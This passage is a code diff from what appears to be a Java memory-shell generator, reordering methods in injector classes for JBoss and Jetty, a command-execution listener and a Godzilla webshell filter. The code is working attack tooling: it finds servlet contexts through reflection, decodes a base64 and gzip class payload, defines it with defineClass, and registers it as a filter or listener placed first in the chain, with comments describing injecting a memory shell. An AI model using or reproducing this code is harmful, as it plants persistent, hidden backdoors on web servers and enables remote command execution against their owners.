+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+
+        Class<?> tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (Method value : methods) {
+                        if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
+                            method = value;
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+
     public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
         List<Object> contexts = new ArrayList<Object>();
         Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
@@ -134,30 +204,6 @@ public class JbossFilterInjector {
         return "{{base64Str}}";
     }
 
-    static byte[] decodeBase64(String base64Str) throws Exception {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        } catch (Exception ignored) {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        }
-    }
-
-    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
-        GZIPInputStream gzipInputStream = new GZIPInputStream(in);
-        byte[] buffer = new byte[256];
-        int n;
-        while ((n = gzipInputStream.read(buffer)) >= 0) {
-            out.write(buffer, 0, n);
-        }
-        return out.toByteArray();
-    }
-
     @SuppressWarnings("all")
     public Object getFieldValue(Object obj, String name) throws Exception {
         Field field = null;
@@ -177,50 +223,4 @@ public class JbossFilterInjector {
             return field.get(obj);
         }
     }
-
-    public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
-        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
-    }
-
-    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
-        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-        Method method = null;
-
-        Class<?> tempClass = clazz;
-        while (method == null && tempClass != null) {
-            try {
-                if (paramClazz == null) {
-                    // Get all declared methods of the class
-                    Method[] methods = tempClass.getDeclaredMethods();
-                    for (Method value : methods) {
-                        if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
-                            method = value;
-                            break;
-                        }
-                    }
-                } else {
-                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
-                }
-            } catch (NoSuchMethodException e) {
-                tempClass = tempClass.getSuperclass();
-            }
-        }
-        if (method == null) {
-            throw new NoSuchMethodException(methodName);
-        }
-        method.setAccessible(true);
-        if (obj instanceof Class) {
-            try {
-                return method.invoke(null, param);
-            } catch (IllegalAccessException e) {
-                throw new RuntimeException(e.getMessage());
-            }
-        } else {
-            try {
-                return method.invoke(obj, param);
-            } catch (IllegalAccessException e) {
-                throw new RuntimeException(e.getMessage());
-            }
-        }
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/jboss/injector/JbossListenerInjector.java

@@ -18,14 +18,6 @@ import java.util.zip.GZIPInputStream;
  */
 public class JbossListenerInjector {
 
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
     static {
         new JbossListenerInjector();
     }
@@ -41,89 +33,6 @@ public class JbossListenerInjector {
         }
     }
 
-    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
-        List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
-        try {
-            for (Thread thread : threads) {
-                if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                    Map<?, ?> childrenMap = (Map<?, ?>) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
-                    for (Object key : childrenMap.keySet()) {
-                        Map<?, ?> children = (Map<?, ?>) getFV(childrenMap.get(key), "children");
-                        for (Object key1 : children.keySet()) {
-                            Object context = children.get(key1);
-                            if (context != null && context.getClass().getName().contains("StandardContext")) {
-                                contexts.add(context);
-                            }
-                        }
-                    }
-                }
-            }
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-        return contexts;
-    }
-
-    private Object getListener(Object context) {
-        Object listener = null;
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        if (classLoader == null) {
-            classLoader = context.getClass().getClassLoader();
-        }
-        try {
-            listener = classLoader.loadClass(getClassName()).newInstance();
-        } catch (Exception e) {
-            try {
-                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
-                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-                defineClass.setAccessible(true);
-                Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-                listener = clazz.newInstance();
-            } catch (Throwable ignored) {
-            }
-        }
-        return listener;
-    }
-
-    @SuppressWarnings("all")
-    public void addListener(Object context, Object listener) throws Exception {
-        if (!this.isInjected(context, this.getClassName())) {
-            String filedName = "applicationEventListenersObjects";
-            Object applicationEventListenersObjects = getFV(context, filedName);
-            if (applicationEventListenersObjects == null) {
-                filedName = "applicationEventListenersInstances";
-                applicationEventListenersObjects = getFV(context, filedName);
-            }
-            if (applicationEventListenersObjects != null) {
-                Object[] appListeners = (Object[]) applicationEventListenersObjects;
-                if (appListeners != null) {
-                    List appListenerList = new ArrayList(Arrays.asList(appListeners));
-                    appListenerList.add(listener);
-                    setFieldValue(context, filedName, appListenerList.toArray());
-                }
-            } else if (getFV(context, "applicationEventListenersList") != null) {
-                List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
-                if (appListeners != null) {
-                    appListeners.add(listener);
-                }
-            }
-        }
-    }
-
-    @SuppressWarnings("all")
-    public boolean isInjected(Object context, String evilClassName) throws Exception {
-        Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
-        List listeners = Arrays.asList(objects);
-        ArrayList arrayList = new ArrayList(listeners);
-        for (Object o : arrayList) {
-            if (o.getClass().getName().contains(evilClassName)) {
-                return true;
-            }
-        }
-        return false;
-    }
-
     @SuppressWarnings("all")
     static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
         Class<?> decoderClass;
@@ -225,4 +134,95 @@ public class JbossListenerInjector {
             }
         }
     }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        try {
+            for (Thread thread : threads) {
+                if (thread.getName().contains("ContainerBackgroundProcessor")) {
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
+                    for (Object key : childrenMap.keySet()) {
+                        Map<?, ?> children = (Map<?, ?>) getFV(childrenMap.get(key), "children");
+                        for (Object key1 : children.keySet()) {
+                            Object context = children.get(key1);
+                            if (context != null && context.getClass().getName().contains("StandardContext")) {
+                                contexts.add(context);
+                            }
+                        }
+                    }
+                }
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+        return contexts;
+    }
+
+    private Object getListener(Object context) {
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
+            } catch (Throwable ignored) {
+            }
+        }
+        return listener;
+    }
+
+    @SuppressWarnings("all")
+    public void addListener(Object context, Object listener) throws Exception {
+        if (!this.isInjected(context, this.getClassName())) {
+            String filedName = "applicationEventListenersObjects";
+            Object applicationEventListenersObjects = getFV(context, filedName);
+            if (applicationEventListenersObjects == null) {
+                filedName = "applicationEventListenersInstances";
+                applicationEventListenersObjects = getFV(context, filedName);
+            }
+            if (applicationEventListenersObjects != null) {
+                Object[] appListeners = (Object[]) applicationEventListenersObjects;
+                if (appListeners != null) {
+                    List appListenerList = new ArrayList(Arrays.asList(appListeners));
+                    appListenerList.add(listener);
+                    setFieldValue(context, filedName, appListenerList.toArray());
+                }
+            } else if (getFV(context, "applicationEventListenersList") != null) {
+                List<Object> appListeners = (List) getFV(context, "applicationEventListenersList");
+                if (appListeners != null) {
+                    appListeners.add(listener);
+                }
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
+        List listeners = Arrays.asList(objects);
+        ArrayList arrayList = new ArrayList(listeners);
+        for (Object o : arrayList) {
+            if (o.getClass().getName().contains(evilClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/jetty/command/CommandListener.java

@@ -17,6 +17,26 @@ public class CommandListener implements ServletRequestListener {
     public CommandListener() {
     }
 
+    @SuppressWarnings("all")
+    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
+        Field field = null;
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                field = clazz.getDeclaredField(name);
+                break;
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (field == null) {
+            throw new NoSuchFieldException(name);
+        } else {
+            field.setAccessible(true);
+            return field.get(obj);
+        }
+    }
+
     @Override
     public void requestDestroyed(ServletRequestEvent sre) {
 
@@ -51,24 +71,4 @@ public class CommandListener implements ServletRequestListener {
         }
         return response;
     }
-
-    @SuppressWarnings("all")
-    public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
-            try {
-                field = clazz.getDeclaredField(name);
-                break;
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        if (field == null) {
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/jetty/godzilla/GodzillaFilter.java

@@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter {
         super(z);
     }
 
+    @SuppressWarnings("all")
+    public static String base64Encode(byte[] bs) throws Exception {
+        String value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object encoder = base64.newInstance();
+                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] base64Decode(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value;
+    }
+
     @SuppressWarnings("all")
     public Class<?> Q(byte[] cb) {
         return super.defineClass(cb, 0, cb.length);
@@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter {
     @Override
     public void destroy() {
     }
-
-    @SuppressWarnings("all")
-    public static String base64Encode(byte[] bs) throws Exception {
-        String value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Encoder");
-                Object encoder = base64.newInstance();
-                value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            try {
-                base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
-                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            } catch (Exception ignored) {
-            }
-        }
-        return value;
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyFilterInjector.java

@@ -16,23 +16,11 @@ import java.util.zip.GZIPInputStream;
 
 public class JettyFilterInjector {
 
-    public String getUrlPattern() {
-        return "{{urlPattern}}";
-    }
-
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() throws IOException {
-        return "{{base64Str}}";
-    }
-
     static {
         new JettyFilterInjector();
     }
 
+
     public JettyFilterInjector() {
         try {
             List<Object> contexts = getContext();
@@ -46,30 +34,132 @@ public class JettyFilterInjector {
 
     }
 
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
     public void addFilter(Object context, Object magicFilter) throws Exception {
         Class<?> filterClass = magicFilter.getClass();
-            Object servletHandler = getFV(context, "_servletHandler");
+        Object servletHandler = getFV(context, "_servletHandler");
 
-            // 1. 判断是否已经注入
-            if (isInjected(servletHandler)) {
-                System.out.println("filter is already injected");
-                return;
-            }
+        // 1. 判断是否已经注入
+        if (isInjected(servletHandler)) {
+            System.out.println("filter is already injected");
+            return;
+        }
 
-            Class<?> filterHolderClass = null;
-            try {
-                filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
-            } catch (ClassNotFoundException e) {
-                filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
-            }
-            Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
-            Object filterHolder = constructor.newInstance(filterClass);
-            invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
+        Class<?> filterHolderClass = null;
+        try {
+            filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
+        } catch (ClassNotFoundException e) {
+            filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder");
+        }
+        Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
+        Object filterHolder = constructor.newInstance(filterClass);
+        invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
 
-            // 2. 注入内存马Filter
-            invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
+        // 2. 注入内存马Filter
+        invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
 
-            // 3. 修改Filter的优先级为第一位
+        // 3. 修改Filter的优先级为第一位
         moveFilterToFirst(servletHandler);
 
         try {
@@ -222,95 +312,4 @@ public class JettyFilterInjector {
         }
         return false;
     }
-
-
-    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-        } catch (Exception ignored) {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        }
-    }
-
-    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
-        GZIPInputStream ungzip = new GZIPInputStream(in);
-        byte[] buffer = new byte[256];
-        int n;
-        while ((n = ungzip.read(buffer)) >= 0) {
-            out.write(buffer, 0, n);
-        }
-        return out.toByteArray();
-    }
-
-    static Object getFV(Object obj, String fieldName) throws Exception {
-        Field field = getF(obj, fieldName);
-        field.setAccessible(true);
-        return field.get(obj);
-    }
-
-    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
-        Class<?> clazz = obj.getClass();
-        while (clazz != null) {
-            try {
-                Field field = clazz.getDeclaredField(fieldName);
-                field.setAccessible(true);
-                return field;
-            } catch (NoSuchFieldException e) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        throw new NoSuchFieldException(fieldName);
-    }
-
-    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
-        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
-    }
-
-    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
-        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
-        Method method = null;
-
-        Class tempClass = clazz;
-        while (method == null && tempClass != null) {
-            try {
-                if (paramClazz == null) {
-                    // Get all declared methods of the class
-                    Method[] methods = tempClass.getDeclaredMethods();
-                    for (int i = 0; i < methods.length; i++) {
-                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
-                            method = methods[i];
-                            break;
-                        }
-                    }
-                } else {
-                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
-                }
-            } catch (NoSuchMethodException e) {
-                tempClass = tempClass.getSuperclass();
-            }
-        }
-        if (method == null) {
-            throw new NoSuchMethodException(methodName);
-        }
-        method.setAccessible(true);
-        if (obj instanceof Class) {
-            try {
-                return method.invoke(null, param);
-            } catch (IllegalAccessException e) {
-                throw new RuntimeException(e.getMessage());
-            }
-        } else {
-            try {
-                return method.invoke(obj, param);
-            } catch (IllegalAccessException e) {
-                throw new RuntimeException(e.getMessage());
-            }
-        }
-    }
 }

generator/src/main/java/com/reajason/javaweb/memsell/jetty/injector/JettyListenerInjector.java

@@ -19,19 +19,10 @@ import java.util.zip.GZIPInputStream;
  */
 public class JettyListenerInjector {
 
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() throws IOException {
-        return "{{base64Str}}";
-    }
-
     static {
         new JettyListenerInjector();
     }
 
-
     public JettyListenerInjector() {
         try {
             List<Object> contexts = getContext();
@@ -45,94 +36,6 @@ public class JettyListenerInjector {
 
     }
 
-    List<Object> getContext() {
-        List<Object> contexts = new ArrayList<Object>();
-        Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
-        for (Thread thread : threads) {
-            try {
-                Object contextClassLoader = getContextClassLoader(thread);
-                if (isWebAppClassLoader(contextClassLoader)) {
-                    contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
-                } else if (isHttpConnection(thread)) {
-                    contexts.add(getContextFromHttpConnection(thread));
-                }
-            } catch (Exception ignored) {
-            }
-        }
-        return contexts;
-    }
-
-    private Object getContextClassLoader(Thread thread) throws Exception {
-        return invokeMethod(thread, "getContextClassLoader");
-    }
-
-    private boolean isWebAppClassLoader(Object classLoader) {
-        return classLoader.getClass().getName().contains("WebAppClassLoader");
-    }
-
-    private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
-        Object context = getFV(classLoader, "_context");
-        Object handler = getFV(context, "_servletHandler");
-        return getFV(handler, "_contextHandler");
-    }
-
-    private boolean isHttpConnection(Thread thread) throws Exception {
-        Object threadLocals = getFV(thread, "threadLocals");
-        Object table = getFV(threadLocals, "table");
-        for (int i = 0; i < Array.getLength(table); ++i) {
-            Object entry = Array.get(table, i);
-            if (entry != null) {
-                Object httpConnection = getFV(entry, "value");
-                if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    private Object getContextFromHttpConnection(Thread thread) throws Exception {
-        Object threadLocals = getFV(thread, "threadLocals");
-        Object table = getFV(threadLocals, "table");
-        for (int i = 0; i < Array.getLength(table); ++i) {
-            Object entry = Array.get(table, i);
-            if (entry != null) {
-                Object httpConnection = getFV(entry, "value");
-                if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
-                    Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
-                    Object request = invokeMethod(httpChannel, "getRequest");
-                    Object session = invokeMethod(request, "getSession");
-                    Object servletContext = invokeMethod(session, "getServletContext");
-                    return getFV(servletContext, "this$0");
-                }
-            }
-        }
-        throw new Exception("HttpConnection not found");
-    }
-
-
-    private Object getListener(Object context) {
-        Object listener = null;
-        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
-        if (classLoader == null) {
-            classLoader = context.getClass().getClassLoader();
-        }
-        try {
-            listener = classLoader.loadClass(getClassName()).newInstance();
-        } catch (Exception e) {
-            try {
-                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
-                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
-                defineClass.setAccessible(true);
-                Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
-                listener = clazz.newInstance();
-            } catch (Throwable e1) {
-                e1.printStackTrace();
-            }
-        }
-        return listener;
-    }
-
     public static void addListener(Object context, Object listener) {
         try {
             if (isInjected(context, listener.getClass().getName())) {
@@ -144,7 +47,6 @@ public class JettyListenerInjector {
         }
     }
 
-
     public static boolean isInjected(Object context, String className) throws Exception {
 
         try {
@@ -161,7 +63,6 @@ public class JettyListenerInjector {
         return false;
     }
 
-
     static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
         try {
             Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
@@ -250,4 +151,99 @@ public class JettyListenerInjector {
             }
         }
     }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    List<Object> getContext() {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
+        for (Thread thread : threads) {
+            try {
+                Object contextClassLoader = getContextClassLoader(thread);
+                if (isWebAppClassLoader(contextClassLoader)) {
+                    contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
+                } else if (isHttpConnection(thread)) {
+                    contexts.add(getContextFromHttpConnection(thread));
+                }
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    private Object getContextClassLoader(Thread thread) throws Exception {
+        return invokeMethod(thread, "getContextClassLoader");
+    }
+
+    private boolean isWebAppClassLoader(Object classLoader) {
+        return classLoader.getClass().getName().contains("WebAppClassLoader");
+    }
+
+    private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
+        Object context = getFV(classLoader, "_context");
+        Object handler = getFV(context, "_servletHandler");
+        return getFV(handler, "_contextHandler");
+    }
+
+    private boolean isHttpConnection(Thread thread) throws Exception {
+        Object threadLocals = getFV(thread, "threadLocals");
+        Object table = getFV(threadLocals, "table");
+        for (int i = 0; i < Array.getLength(table); ++i) {
+            Object entry = Array.get(table, i);
+            if (entry != null) {
+                Object httpConnection = getFV(entry, "value");
+                if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    private Object getContextFromHttpConnection(Thread thread) throws Exception {
+        Object threadLocals = getFV(thread, "threadLocals");
+        Object table = getFV(threadLocals, "table");
+        for (int i = 0; i < Array.getLength(table); ++i) {
+            Object entry = Array.get(table, i);
+            if (entry != null) {
+                Object httpConnection = getFV(entry, "value");
+                if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
+                    Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
+                    Object request = invokeMethod(httpChannel, "getRequest");
+                    Object session = invokeMethod(request, "getSession");
+                    Object servletContext = invokeMethod(session, "getServletContext");
+                    return getFV(servletContext, "this$0");
+                }
+            }
+        }
+        throw new Exception("HttpConnection not found");
+    }
+
+    private Object getListener(Object context) {
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
